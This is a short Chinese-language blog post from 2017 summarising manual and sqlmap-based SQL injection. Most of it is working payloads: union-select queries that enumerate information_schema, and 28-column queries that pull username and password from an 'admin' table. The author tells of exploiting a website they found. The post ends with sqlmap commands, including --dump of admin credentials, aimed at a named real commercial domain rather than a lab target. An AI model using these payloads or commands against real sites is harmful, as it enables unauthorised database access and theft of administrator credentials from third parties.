sql注入总结

常见的手工注入方法

  • 判断注入点:' and 1=1' 'and 1=2'报错来判断是否是注入点,部分诸如点事宽字节注入%df'来判断
  • 利用order by 猜测出列数
  • 获取数据库的名称和版本号   http://www.xxx.asp?id=1' union select 1,2,3,4....n--+
  • 利用'--+'或者是'#'把后面的代码注释掉,防止报错,有的时候网页不回显,可以尝试传入一个无效的参数值
  • 在爆出数据的地方替换成database(),@@version,version(), eg:'union select 1,2,version(),@@version(),database()--+
  • 如果mysql的版本号大于5,那就存在information_schema表,可以尝试以下注入
  • 查询数据库名  union select 1,2,3,group_concat(schema_name),5 from information_schema.schemata #
  • 查询表名 union selet 1,2,3,group_concat(table_name), 5 from information_schema.tables where table_schema='数据库'#  
    或者是: union select 1,2,3,group_concat(table_name),5,from information_schema.tables where table_schema=数据库名的16进制#  
    数据库名的16进制没有引号
  • 查询列名 union select 1,2,3,group_concat(column_name),5 from information_schema.columns where table_name='表名'#
  • 最后爆数据 union select 1,2,3,group_concat(列名),5 from 表名#
    搞定手动

开坑(盲注)

未完待续

手工注入

发现了一个网站存在sql注入漏洞
于是先猜测表名 and exists (select * from admin),页面显示正常,说明存在admin表,于是order by n 猜测列数
猜测出列数是28,页面显示23,然后联合查询,把23分别替换成username,password之后,获得账号密码

and exists (select * from admin)

UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin

UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,username,24,25,26,27,28 from admin

UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,password,24,25,26,27,28 from admin

sqlmap工具注入

sqlmap -u http:***?article=91
结果显示article是一个注入点,显示出是布尔类型,payload
sqlmap -u http:***?article=91 --tables
猜测表名,发现表名中有一个admin,
sqlmap -u http:***?article=91 --columns -T admin
查询这张表的列名
sqlmap -u http://www.inbond-cn.com/showproducts.asp?id=91 --columns -T admin
回显数据
sqlmap -u http://www.inbond-cn.com/showproducts.asp?id=91 --dump -C "username,password" -T admin

posted @ 2017-09-26 11:29  可乐12138  阅读(182)  评论(0编辑  收藏  举报